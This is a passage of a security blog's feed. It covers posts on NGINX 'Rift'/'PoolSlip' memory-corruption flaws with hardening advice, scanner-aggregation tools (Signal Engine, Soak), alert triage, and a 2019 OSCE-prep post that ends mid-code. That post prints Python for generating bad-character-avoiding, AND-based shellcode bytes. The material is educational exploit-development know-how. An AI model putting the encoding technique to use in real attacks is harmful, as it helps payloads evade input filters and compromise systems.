  <li>Remote Code Execution (RCE)</li>
</ul>

<p>without authentication.</p>

<hr />

<h2 id="why-rift-was-dangerous">Why Rift Was Dangerous</h2>

<p>The frightening part was not just the bug itself.</p>

<p>It was <em>where</em> the bug lived.</p>

<p>NGINX rewrite logic sits directly on the edge of infrastructure:</p>

<ul>
  <li>load balancers</li>
  <li>ingress controllers</li>
  <li>reverse proxies</li>
  <li>API routing layers</li>
  <li>authentication gateways</li>
</ul>

<p>In many environments, rewrite rules are treated as harmless operational plumbing.<br />
In reality, they became an Internet-facing attack surface capable of memory corruption.</p>

<p>Even worse, exploitation was reportedly achievable through ordinary HTTP requests.</p>

<hr />

<h2 id="heap-corruption-in-the-rewrite-engine">Heap Corruption in the Rewrite Engine</h2>

<p>The vulnerability allowed crafted requests to manipulate heap memory inside internal NGINX request structures.</p>

<p>In practical terms:</p>

<ol>
  <li>A malformed request reaches a vulnerable rewrite rule</li>
  <li>Buffer calculations fail</li>
  <li>Heap memory gets overwritten</li>
  <li>Function pointers become attacker-controlled</li>
  <li>NGINX executes corrupted cleanup callbacks</li>
</ol>

<p>That turns a reverse proxy into a potential RCE primitive.</p>

<hr />

<h2 id="then-came-poolslip">Then Came PoolSlip</h2>

<p>As administrators rushed to patch Rift, a second issue emerged:</p>

<p><strong>NGINX PoolSlip</strong></p>

<p>PoolSlip targets NGINX request memory pools (<code class="language-plaintext highlighter-rouge">ngx_pool_t</code>) and explores a different exploitation path in the memory allocator and cleanup chain.</p>

<p>The key concern is architectural:</p>

<blockquote>
  <p>Fixing one memory corruption path did not eliminate the underlying unsafe design patterns.</p>
</blockquote>

<p>PoolSlip reportedly enables:</p>

<ul>
  <li>ASLR bypass techniques</li>
  <li>controlled heap corruption</li>
  <li>potential remote code execution</li>
</ul>

<p>through alternative rewrite-driven execution flows.</p>

<hr />

<h2 id="a-design-problem-not-just-a-bug">A Design Problem, Not Just a Bug</h2>

<p>These vulnerabilities expose a broader truth:</p>

<p>Modern Internet infrastructure still relies heavily on memory-unsafe C code.</p>

<p>NGINX is fast because of:</p>

<ul>
  <li>manual memory management</li>
  <li>custom allocators</li>
  <li>pooled request lifecycle handling</li>
</ul>

<p>But these same decisions create long-lived attack surfaces that are extremely difficult to eliminate completely.</p>

<hr />

<h2 id="the-rewrite-engine-is-an-attack-surface">The Rewrite Engine Is an Attack Surface</h2>

<p>Configuration is code.</p>

<p>Rewrite rules are not harmless routing logic — they are part of the execution surface.</p>

<p>Risky patterns include:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">rewrite</span> <span class="s">^/user/(.*)</span>$ <span class="n">/profile.php?id=</span><span class="nv">$1</span><span class="s">?</span><span class="p">;</span>
<span class="k">set</span> <span class="nv">$target</span> <span class="nv">$1</span><span class="p">;</span>
</code></pre></div></div>

<p>Regex capture groups and variable interpolation can turn configuration into a memory corruption trigger.</p>

<h2 id="detection--hardening">Detection &amp; Hardening</h2>
<h3 id="upgrade-immediately">Upgrade immediately</h3>

<p>Apply vendor patches for your NGINX distribution or fork.</p>

<h3 id="audit-rewrite-rules">Audit rewrite rules</h3>

<p>Look for:</p>

<ul>
  <li>$1, $2 capture usage</li>
  <li>chained rewrites</li>
  <li>? in rewrite targets</li>
  <li>dynamic variable expansion</li>
</ul>

<h3 id="reduce-complexity">Reduce complexity</h3>

<p>Move routing logic out of NGINX when possible.</p>

<h3 id="monitor-crashes">Monitor crashes</h3>

<p>Watch for:</p>

<ul>
  <li>worker segfaults</li>
  <li>abnormal restarts</li>
  <li>request-triggered instability</li>
</ul>

<h2 id="off-by-one">Off by one</h2>

<p>NGINX became critical infrastructure because it is fast and flexible.</p>

<p>But flexibility built on unsafe memory handling comes at a cost.</p>

<p>Rift exposed how rewrite logic can become a corruption surface.
PoolSlip showed how quickly adjacent paths emerge.</p>

<p>The lesson is simple:</p>

<blockquote>
  <p>The edge is not just traffic routing anymore. It is executable infrastructure.</p>
</blockquote>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[NGINX Rift and PoolSlip expose dangerous memory corruption flaws inside one of the Internet’s most trusted reverse proxies, turning rewrite rules into a potential remote code execution surface. From long-lived heap bugs to new exploitation paths, the edge just became the attack surface.]]></summary></entry><entry><title type="html">Signal Engine 0.3.0: From Raw Findings to Real Signal</title><link href="https://armoredcode.com/blog/signal-engine-0.3.0-from-findings-to-signal/" rel="alternate" type="text/html" title="Signal Engine 0.3.0: From Raw Findings to Real Signal" /><published>2026-03-24T00:00:00+00:00</published><updated>2026-03-24T00:00:00+00:00</updated><id>https://armoredcode.com/blog/signal-engine-0.3.0-from-findings-to-signal</id><content type="html" xml:base="https://armoredcode.com/blog/signal-engine-0.3.0-from-findings-to-signal/"><![CDATA[<p>Security tools are easy to run.</p>

<p>What’s hard is making sense of their output.</p>

<p>If you’ve ever tried combining results from multiple scanners, you already know
the problem:</p>

<p>duplicated findings inconsistent severity models noisy reports no clear way to
prioritize risk</p>

<p><a href="https://github.com/armoredcode/signal-engine/releases/tag/0.3.0">Signal Engine 0.3.0</a>
is a step toward fixing that.</p>

<p>Not by adding more scanners — but by turning raw findings into something you can
actually reason about.</p>

<h2 id="a-new-foundation-standardization-first">A new foundation: standardization first</h2>

<p>At the core of this release is one fundamental change: signal engine now speaks
SARIF natively.</p>

<p>This means it can ingest results from tools like:</p>

<ul>
  <li>dr_source</li>
  <li>GitHub CodeQL</li>
  <li>Gitleaks, Trivy, Ruff</li>
  <li>Brakeman, Gosec, Checkov, Hadolint, Dawnscanner</li>
</ul>

<p>All normalized into a consistent internal model.</p>

<p>Different tools. Different formats. <strong>One pipeline.</strong></p>

<h2 id="deduplication-that-actually-works">Deduplication that actually works</h2>

<p>Running multiple tools usually creates overlap. Same issue. Slightly different
location. Different tool.</p>

<p>Before 0.3.0, that noise was your problem. Now it’s handled by the engine.</p>

<p>A new <code class="language-plaintext highlighter-rouge">dedup</code> command introduces proximity-based deduplication, powered by a
clustering algorithm that groups findings within a configurable line threshold.</p>

<p>This is not string matching. This is <strong>context-aware</strong> deduplication.</p>

<p>Because in real codebases, the same vulnerability rarely appears exactly on the
same line.</p>

<h2 id="clustering-from-findings-to-patterns">Clustering: From Findings to Patterns</h2>

<p>The new <code class="language-plaintext highlighter-rouge">smart_cluster</code> algorithm changes how findings are interpreted.</p>

<p>Instead of treating each issue as isolated, Signal Engine groups them into
clusters of related risk.</p>

<p>This enables:</p>

<ul>
  <li>aggregation across tools</li>
  <li>grouping by code proximity</li>
  <li>better identification of problematic areas</li>
</ul>

<p>It’s the difference between:</p>

<blockquote>
  <p>“You have 37 issues”</p>
</blockquote>

<p>and</p>

<blockquote>
  <p>“You have 3 risky zones in your codebase”</p>
</blockquote>

<h2 id="hotspots-where-risk-actually-lives">Hotspots: where risk actually lives</h2>

<p>One of the most important additions in this release is the <code class="language-plaintext highlighter-rouge">hotspots</code> command.</p>

<p>It introduces a simple but powerful idea: risk is not just severity; it’s
density.</p>

<p>Signal Engine now calculates a risk score per 1000 lines of code, combining:</p>

<ul>
  <li>vulnerability count</li>
  <li>severity weighting</li>
  <li>file-level metrics (via cloc integration)</li>
</ul>

<p>This surfaces the areas where:</p>

<ul>
  <li>issues concentrate</li>
  <li>risk compounds</li>
  <li>attention is actually needed</li>
</ul>

<p>Not all files are equal. Now you can see which ones matter.</p>

<h2 id="risk-scoring-that-reflects-reality">Risk scoring that reflects reality</h2>

<p>Severity is no longer just a label.</p>

<p>It’s now part of a weighted scoring model:</p>

<ul>
  <li>Critical → 10.0</li>
  <li>High → 5.0</li>
  <li>Medium → 3.0</li>
  <li>Low → 1.0</li>
  <li>Info → 0.1</li>
</ul>

<p>This feeds directly into hotspot detection and analytics. A single critical
issue is not the same as ten informational warnings, and your tooling should
reflect that.</p>

<h2 id="better-ingestion-less-friction">Better ingestion, less friction</h2>

<p>Real-world tool output is messy.</p>

<p>This release improves ingestion across the board:</p>

<ul>
  <li>Support for multiple JSON structures (including SARIF <code class="language-plaintext highlighter-rouge">runs[]</code>)</li>
  <li>Smarter nested parsing for complex outputs</li>
  <li>Automatic language detection from file extensions</li>
  <li>Integrated handling of cloc metrics alongside findings</li>
  <li>Consistent loading for both single files and directories</li>
</ul>

<p>In short: less preprocessing, more analysis.</p>

<h2 id="a-usable-interface-finally">A usable interface (finally)</h2>

<p>Signal Engine is still a CLI tool — but now it’s one you actually want to use.</p>

<ul>
  <li>Clean, simplified tables</li>
  <li>Semantic coloring for severity and paths</li>
  <li>A redesigned info panel with repository metadata</li>
  <li>Color-coded hotspots based on risk density</li>
</ul>

<p>The goal wasn’t aesthetics. It was readability under pressure.</p>

<h2 id="under-the-hood">Under the hood</h2>

<p>A lot changed to support this direction:</p>

<ul>
  <li>Refactored ingestion and normalization pipeline</li>
  <li>Consolidated previously fragmented logic</li>
  <li>Removed redundant modules</li>
  <li>Fixed inconsistencies in severity mapping across tools</li>
  <li>Stabilized metrics ingestion and analysis flows</li>
</ul>

<p>Less duplication. More coherence.</p>

<h2 id="where-this-is-going">Where this is going</h2>

<p>Signal Engine is evolving toward a clear goal: make multi-tool security analysis
understandable.</p>

<p>Not louder. Not bigger. <strong>Sharper.</strong></p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[Signal Engine 0.3.0 transforms raw security findings into structured, actionable insight. With clustering, deduplication, and risk-based hotspots, noise gives way to clarity. Less data to sift through, more signal to act on.]]></summary></entry><entry><title type="html">Soak: Deep-Tissue Static Analysis as an Execution Layer</title><link href="https://armoredcode.com/blog/soak-deep-tissue-static-analysis-as-an-execution-layer/" rel="alternate" type="text/html" title="Soak: Deep-Tissue Static Analysis as an Execution Layer" /><published>2026-02-15T00:00:00+00:00</published><updated>2026-02-15T00:00:00+00:00</updated><id>https://armoredcode.com/blog/soak-deep-tissue-static-analysis-as-an-execution-layer</id><content type="html" xml:base="https://armoredcode.com/blog/soak-deep-tissue-static-analysis-as-an-execution-layer/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Modern application security is no longer about running a single scanner.</p>

<p>It’s about coordinating multiple engines, covering different ecosystems, and extracting consistent signals from heterogeneous outputs.</p>

<p>That coordination problem is what led to the creation of Soak.</p>

<p>Soak is a zero-dependency Docker image that aggregates a curated set of open-source security scanners into a single, reproducible execution environment.</p>

<p>Its purpose is simple:</p>

<blockquote>
  <p>Provide deep-tissue static analysis through a unified, containerized execution layer.</p>
</blockquote>

<h3 id="the-real-problem-toolchain-fragmentation">The Real Problem: Toolchain Fragmentation</h3>
<p>ecurity scanners are powerful — but fragmented.</p>

<p>Each tool:</p>

<ul>
  <li>Requires its own runtime (Python, Go, Java, Ruby…)</li>
  <li>Has its own CLI conventions</li>
  <li>Produces different output formats</li>
  <li>Evolves independently</li>
  <li>Introduces version drift across environments</li>
</ul>

<p>Managing multiple scanners across local development, CI, and production becomes operationally expensive.</p>

<p>If your execution layer is unstable, everything built on top of it becomes unreliable.</p>

<p>Soak removes that instability.</p>
<h3 id="what-soak-is">What Soak Is</h3>
<p>Soak is:</p>
<ul>
  <li>A single Docker image based on openSUSE Tumbleweed</li>
  <li>A multi-engine static analysis runtime</li>
  <li>An automated language and ecosystem detection layer</li>
  <li>A structured output generator (soak_summary.json)</li>
  <li>A reproducible, versionable scanning environment</li>
</ul>

<p>It is intentionally:</p>
<ul>
  <li>Stateless</li>
  <li>Self-contained</li>
  <li>Docker-only</li>
  <li>Automation-friendly</li>
</ul>

<p>If you have Docker, you can run Soak. Nothing else is required.</p>
<h3 id="deep-tissue-static-analysis">Deep-Tissue Static Analysis</h3>

<p>Soak performs what we call deep-tissue static analysis.</p>

<p>Instead of running one scanner, it:</p>
<ol>
  <li>Detects the project ecosystem (e.g., pom.xml, Gemfile, go.mod, Python metadata)</li>
  <li>Activates relevant engines</li>
  <li>Executes multiple scanners</li>
  <li>Aggregates structured results into a summary JSON file</li>
</ol>

<p>This provides multi-layer visibility across:</p>
<ul>
  <li>Source code vulnerabilities</li>
  <li>Dependency vulnerabilities (SCA)</li>
  <li>Secrets detection</li>
  <li>Infrastructure misconfigurations</li>
  <li>Shell and container linting</li>
  <li>Code quality and complexity metrics</li>
</ul>

<p>All from a single execution context.</p>

<h3 id="included-scanners">Included Scanners</h3>

<p>Soak bundles a broad range of open-source tools across ecosystems:</p>

<h4 id="multi-language">Multi-Language</h4>
<ul>
  <li>Semgrep</li>
  <li>Trivy</li>
</ul>

<h4 id="python">Python</h4>

<ul>
  <li>Bandit</li>
  <li>Mypy</li>
  <li>Radon</li>
  <li>Pip-audit</li>
</ul>

<h4 id="ruby">Ruby</h4>

<ul>
  <li>Dawnscanner</li>
  <li>Brakeman</li>
</ul>

<h4 id="java">Java</h4>

<ul>
  <li>PMD</li>
  <li>SpotBugs</li>
</ul>

<h4 id="go">Go</h4>

<ul>
  <li>Gosec</li>
  <li>Govulncheck</li>
  <li>Staticcheck</li>
</ul>

<h4 id="secrets">Secrets</h4>

<ul>
  <li>Gitleaks</li>
</ul>

<h4 id="infrastructure--devops">Infrastructure / DevOps</h4>

<ul>
  <li>Hadolint</li>
  <li>Checkov</li>
  <li>ShellCheck</li>
</ul>

<p>This provides horizontal coverage across application, dependencies, configuration, and container layers.</p>

<h4 id="execution-model">Execution Model</h4>

<p>Soak follows a clear internal structure:</p>

<ol>
  <li>
    <p>Detection Layer - Identifies project language and ecosystem metadata.</p>
  </li>
  <li>
    <p>Execution Layer - Runs relevant scanners inside the container in isolation.</p>
  </li>
  <li>
    <p>Aggregation Layer - Collects raw JSON outputs and produces soak_summary.json.</p>
  </li>
</ol>

<p>This separation allows Soak to act as a pure execution component that can integrate seamlessly with higher-level orchestration systems.</p>

<h3 id="designed-for-automation">Designed for Automation</h3>

<p>Running Soak is intentionally simple:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>soak /home/user/my-awesome-project
</code></pre></div></div>
<p>Behind the scenes, the container mounts the target repository, performs detection, executes scanners, and writes a structured summary file.</p>

<p>Because the entire runtime is containerized:</p>

<ul>
  <li>CI/CD behavior matches local execution</li>
  <li>Tool versions are pinned and reproducible</li>
  <li>No runtime installation is required</li>
  <li>No dependency resolution occurs at execution time</li>
</ul>

<p>This dramatically reduces environmental inconsistencies.</p>
<h3 id="soak-and-signal-engine">Soak and Signal-Engine</h3>
<p>Within the ArmoredCode ecosystem, Soak serves as the execution layer behind Signal-Engine.</p>

<p>The architectural separation is deliberate:</p>

<ul>
  <li>Soak executes</li>
  <li>Signal-Engine ingests and correlates</li>
</ul>

<p>Soak does not:</p>

<ul>
  <li>Perform scoring</li>
  <li>Maintain baselines</li>
  <li>Correlate findings</li>
  <li>Apply risk models</li>
</ul>

<p>It generates structured, multi-engine signals.</p>

<p>Signal-Engine transforms those signals into intelligence.</p>
<h3 id="why-centralize-the-toolchain">Why Centralize the Toolchain?</h3>
<p>Many scanners provide official Docker images.</p>

<p>However, using them independently introduces:</p>

<ul>
  <li>Multiple container contracts</li>
  <li>Inconsistent entrypoints</li>
  <li>Divergent output structures</li>
  <li>Distributed version management</li>
</ul>

<p>Soak centralizes the contract.</p>

<p>Instead of managing N scanner containers, orchestration systems interact with one unified execution environment.</p>

<p>This reduces complexity and increases control.</p>
<h3 id="security-by-design">Security by Design</h3>

<p>Soak executes scanners against potentially untrusted code.</p>

<p>Therefore:</p>

<ul>
  <li>The container is minimal and controlled</li>
  <li>Execution is ephemeral</li>
  <li>No persistent state is stored</li>
  <li>Capabilities are limited to what is required</li>
</ul>

<p>Execution should not increase the attack surface.</p>

<p>Isolation is a design principle, not an afterthought.</p>
<h3 id="off-by-one">Off-by-one</h3>

<p>Security analysis at scale requires architectural discipline.</p>

<p>Execution, ingestion, correlation, and scoring must be separated.</p>

<p>Soak exists to make the execution layer:</p>

<ul>
  <li>Deterministic</li>
  <li>Reproducible</li>
  <li>Multi-engine</li>
  <li>Containerized</li>
  <li>Automation-ready</li>
</ul>

<p>It provides deep-tissue static analysis through a single, consistent interface.</p>

<p>And in a fragmented scanner ecosystem, consistency is power.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[Soak is a zero-dependency Docker image that aggregates a curated set of open-source security scanners into a single, reproducible execution environment.]]></summary></entry><entry><title type="html">Aggregating Semgrep Results: Top Rules, Files, and Clusters (MVP Demo)</title><link href="https://armoredcode.com/blog/aggregating-semgrep-results-mvp-demo/" rel="alternate" type="text/html" title="Aggregating Semgrep Results: Top Rules, Files, and Clusters (MVP Demo)" /><published>2026-01-26T00:00:00+00:00</published><updated>2026-01-26T00:00:00+00:00</updated><id>https://armoredcode.com/blog/aggregating-semgrep-results-mvp-demo</id><content type="html" xml:base="https://armoredcode.com/blog/aggregating-semgrep-results-mvp-demo/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Turning security tool outputs into actionable insights is one of the biggest
challenges for developers and security engineers. In this post, I’m sharing a
minimal viable product (MVP) that takes Semgrep scan outputs and visualizes: top
rules, the most affected files, and clusters of related findings.</p>

<h2 id="watch-the-demo">Watch the Demo</h2>

<div class="video-container">

  <iframe src="https://www.youtube.com/embed/JEAuJIKdDjs?si=HvEMtSjh_zZxZ44e" frameborder="0" allowfullscreen=""></iframe>
</div>

<h2 id="how-the-mvp-works">How the MVP Works</h2>

<ol>
  <li><strong>Aggregates Semgrep Results</strong>: JSON outputs from multiple scans are
collected into a single dataset, ready for analysis.</li>
  <li><strong>Highlights Top Rules &amp; Top Files</strong>: Quickly identifies the rules triggered
most often and the files with the highest number of findings. This helps
prioritize what to fix first.</li>
  <li><strong>Clusters Related Findings</strong>: Findings are grouped into logical clusters to
reveal patterns and correlations between rules and code contexts.</li>
</ol>

<h2 id="why-this-matters">Why This Matters</h2>

<ul>
  <li>Provides a fast overview of large codebases.</li>
  <li>Reduces noise by focusing on the findings that matter most.</li>
  <li>Serves as the foundation for a Signal Engine: ingest → normalize → rank →
export/report.</li>
</ul>

<h2 id="next-steps">Next Steps</h2>

<p>This MVP is just the start. The ultimate goal is a full tool, I will call it
<em>Signal Engine</em>, that can:</p>

<ul>
  <li>Ingest results from multiple security tools</li>
  <li>Normalize and deduplicate findings</li>
  <li>Rank risks per finding</li>
  <li>Export actionable reports for developers and security engineers</li>
</ul>

<p>The demo shows a minimal but immediately usable implementation of this approach.</p>

<h2 id="try-it-yourself">Try it Yourself</h2>

<p>If you want to explore this workflow with your own Semgrep outputs, this MVP
provides a fast way to see patterns, prioritize rules, and focus on what really
matters in your code security scans.</p>

<p>The code is AGPLv3 licensed and released here:
<a href="https://github.com/thesp0nge/mvp_semgrep">https://github.com/thesp0nge/mvp_semgrep</a></p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[Turning security tool outputs into actionable insights is one of the biggest challenges for developers and security engineers. In this post, I’m sharing a minimal viable product (MVP) that takes Semgrep scan outputs and visualize]]></summary></entry><entry><title type="html">Why Most Security Findings Are Misunderstood</title><link href="https://armoredcode.com/blog/why-most-security-findings-are-misunderstood/" rel="alternate" type="text/html" title="Why Most Security Findings Are Misunderstood" /><published>2026-01-13T00:00:00+00:00</published><updated>2026-01-13T00:00:00+00:00</updated><id>https://armoredcode.com/blog/why-most-security-findings-are-misunderstood</id><content type="html" xml:base="https://armoredcode.com/blog/why-most-security-findings-are-misunderstood/"><![CDATA[<p>In the
<a href="https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you/">previous post</a>, we
saw how many security tools can “lie”: they don’t tell the full story, generate
noise, and often leave teams with a false sense of security. But what happens
after a vulnerability is reported? The story doesn’t get any better: most
findings are misunderstood.</p>

<h2 id="alerts-without-context">Alerts Without Context</h2>

<p>Not all vulnerabilities are created equal. A SQL Injection in an internal
endpoint is not the same as a remote code execution exposed publicly. Yet,
reports often treat them as equivalent, highlighting all “critical” issues with
the same weight. The result? Security teams waste time chasing false alarms or
low-impact issues, while the real threats remain in the shadows.</p>

<h2 id="the-noise-of-false-positives">The Noise of False Positives</h2>

<p>Every scanner produces false positives. Some are obvious, others less so. When a
team is flooded with alerts, the tendency is either to ignore them all or
blindly trust what the tool labels as “critical.” This approach is dangerous:
the real risk isn’t just missing vulnerabilities—it’s failing to understand
which ones actually matter.</p>

<h2 id="the-role-of-security-advocates">The Role of Security Advocates</h2>

<p>This is where humans come in: they are not tools, but interpreters. A security
advocate understands the business context, knows the system architecture, and
can assess the real impact of a vulnerability. With this knowledge, they can
prioritize effectively and turn a confusing list of alerts into a concrete,
actionable mitigation plan.</p>

<h2 id="ai-and-automation-allies-not-replacements">AI and Automation: Allies, Not Replacements</h2>

<p>AI can help reduce noise, group similar alerts, and suggest priorities. But
without human judgment, even the smartest algorithm is just a calculator without
context. Real power comes from the combination: intelligent tools and equally
intelligent people.</p>

<h2 id="off-by-one">Off by one</h2>

<p>Tools are useful, but they don’t replace human understanding. To truly protect
our applications, we must read between the lines of reports, understand context,
and put humans at the center of the security process.</p>

<p>The next step? We’ll explore how to optimize tool usage without being fooled by
noise, and how to build smarter, more conscious security pipelines.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[In the previous post, we saw how many security tools can “lie”: they don’t tell the full story, generate noise, and often leave teams with a false sense of security. But what happens after a vulnerability is reported? The story doesn’t get any better: most findings are misunderstood.]]></summary></entry><entry><title type="html">Why most security tools are lying to you</title><link href="https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you/" rel="alternate" type="text/html" title="Why most security tools are lying to you" /><published>2026-01-08T00:00:00+00:00</published><updated>2026-01-08T00:00:00+00:00</updated><id>https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you</id><content type="html" xml:base="https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you/"><![CDATA[<p>We live in a world where developers and security teams are <strong>drowning in
alerts</strong>. Every scanner, every automated tool, every “security dashboard”
promises to tell you what matters—but in reality, most of it is noise.</p>

<p>I’ve seen teams spend <strong>weeks chasing false positives</strong>, patching things that
weren’t critical, while the real vulnerabilities quietly slipped through the
cracks.</p>

<p>Here’s the hard truth:</p>

<ol>
  <li><strong>Alerts don’t equal risks.</strong> Most tools generate hundreds of notifications
that have little real-world impact.</li>
  <li><strong>Context is missing.</strong> A vulnerability in a library may not be exploitable
in your environment.</li>
  <li><strong>Time is the real enemy.</strong> Devs can’t fix everything. Prioritization is
everything.</li>
</ol>

<p>This isn’t just frustration—it’s a <strong>failure in how we communicate security</strong>.</p>

<p>Over the coming weeks, I’ll share <strong>ways to focus on the signals that truly
matter</strong>, how to <strong>aggregate, contextualize, and act on security findings</strong>, and
why most “tools” fail to do that.</p>

<p><strong>If you care about fixing the right problems</strong>, follow Armored Code. The goal
isn’t just security—it’s <em>effective security</em>.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[We live in a world where developers and security teams are drowning in alerts. Every scanner, every automated tool, every “security dashboard” promises to tell you what matters—but in reality, most of it is noise.]]></summary></entry><entry><title type="html">A tale of a restricted charset shellcode generation</title><link href="https://armoredcode.com/blog/a-tale-of-a-restricted-charset-shellcode-generation/" rel="alternate" type="text/html" title="A tale of a restricted charset shellcode generation" /><published>2019-04-19T00:00:00+00:00</published><updated>2019-04-19T00:00:00+00:00</updated><id>https://armoredcode.com/blog/a-tale-of-a-restricted-charset-shellcode-generation</id><content type="html" xml:base="https://armoredcode.com/blog/a-tale-of-a-restricted-charset-shellcode-generation/"><![CDATA[<p>During my OSCE exam preparation I had to deal with shellcode writing experience
where very few allower characters were available.</p>

<p>This brilliant talk by <a href="https://twitter.com/muts">@muts</a>, lead us to get in
touch with a new encoding technique. When you can’t directly write words on the
stack, due to bad characters, you can eventually let a register to contained
the desired word and then push the register into the stack.</p>

<div class="embed-container">
  <iframe src="https://www.youtube.com/embed/gHISpAZiAm0" title="Embedded video" loading="lazy" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>As you can see from the video taken at Defcon 16, the code exploits the fact
that after the shellcode it has been written into the stack, very close to the
encoded payload, the execution flow continues until the decoded shellcode it
has been found.</p>

<p>Boom.</p>

<p>All the magic happens in two different pieces.</p>

<h2 id="init-a-register-to-0">Init a register to 0</h2>

<p>We can’t use XOR to init a register to zero. So we use math here and some
AND property to apply to reset all bits in our register.</p>

<p>On
<a href="https://github.com/thesp0nge/shellerate/blob/master/shellerate/asm_x86.py">shellerate</a>
I created a zero_with_and routine. The basic idea is to get a random 32 bits
value, calculating its NOT and then build the shellcode. When the register it
has been put in AND with those two values, it will be set to zero.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python">  <span class="k">def</span> <span class="nf">zero_with_and</span><span class="p">(</span><span class="n">reg</span><span class="o">=</span><span class="s">"eax"</span><span class="p">,</span> <span class="n">badchar</span><span class="o">=</span><span class="p">[]):</span>

  <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">first_and</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="n">token_hex</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">n_b</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">first_and</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span>
    <span class="n">n_b_2</span> <span class="o">=</span> <span class="n">bit_not</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">n_b</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="mi">32</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">n_b_2</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
      <span class="k">break</span>

  <span class="n">second_and</span> <span class="o">=</span> <span class="nb">format</span><span class="p">(</span><span class="n">n_b_2</span><span class="p">,</span> <span class="s">'x'</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>

  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"First AND: %s"</span> <span class="o">%</span> <span class="n">first_and</span><span class="p">)</span>
  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Second AND: %s"</span> <span class="o">%</span> <span class="n">second_and</span><span class="p">)</span>

  <span class="n">first_and_hex</span> <span class="o">=</span> <span class="n">strings</span><span class="p">.</span><span class="n">from_string_to_payload</span><span class="p">(</span><span class="n">strings</span><span class="p">.</span><span class="n">swap</span><span class="p">(</span><span class="n">first_and</span><span class="p">))</span>
  <span class="n">second_and_hex</span> <span class="o">=</span> <span class="n">strings</span><span class="p">.</span><span class="n">from_string_to_payload</span><span class="p">(</span><span class="n">strings</span><span class="p">.</span><span class="n">swap</span><span class="p">(</span><span class="n">second_and</span><span class="p">))</span>

  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"eax"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">x25"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">x25"</span><span class="o">+</span><span class="n">second_and_hex</span>

  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"ebx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">second_and_hex</span>
  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"ebx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe3"</span><span class="o">+</span><span class="n">second_and_hex</span>
  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"ecx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe1"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe1"</span><span class="o">+</span><span class="n">second_and_hex</span>
  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"edx"</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe2"</span><span class="o">+</span><span class="n">first_and_hex</span><span class="o">+</span><span class="s">"</span><span class="se">\\</span><span class="s">xb1</span><span class="se">\\</span><span class="s">xe2"</span><span class="o">+</span><span class="n">second_and_hex</span></code></pre></figure>

<h2 id="writing-a-word-on-the-stack">Writing a word on the stack</h2>
<p>We can’t write a word on the stack because of a restricted alphabet. We will
get rid of this by calculating the
<a href="https://en.wikipedia.org/wiki/Two%27s_complement">two-complement</a> of the word
we want to write and by finding 2 or 3 values that when added will result in
our word’s complement.</p>

<p>Those values will be subtracted from EAX register, after it has been set to 0.
At the end, EAX will be set to the desired word and it can be pushed into the
stack.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python">  <span class="k">def</span> <span class="nf">generate_add_eax_sum_shellcode</span><span class="p">(</span><span class="n">result</span><span class="p">):</span>
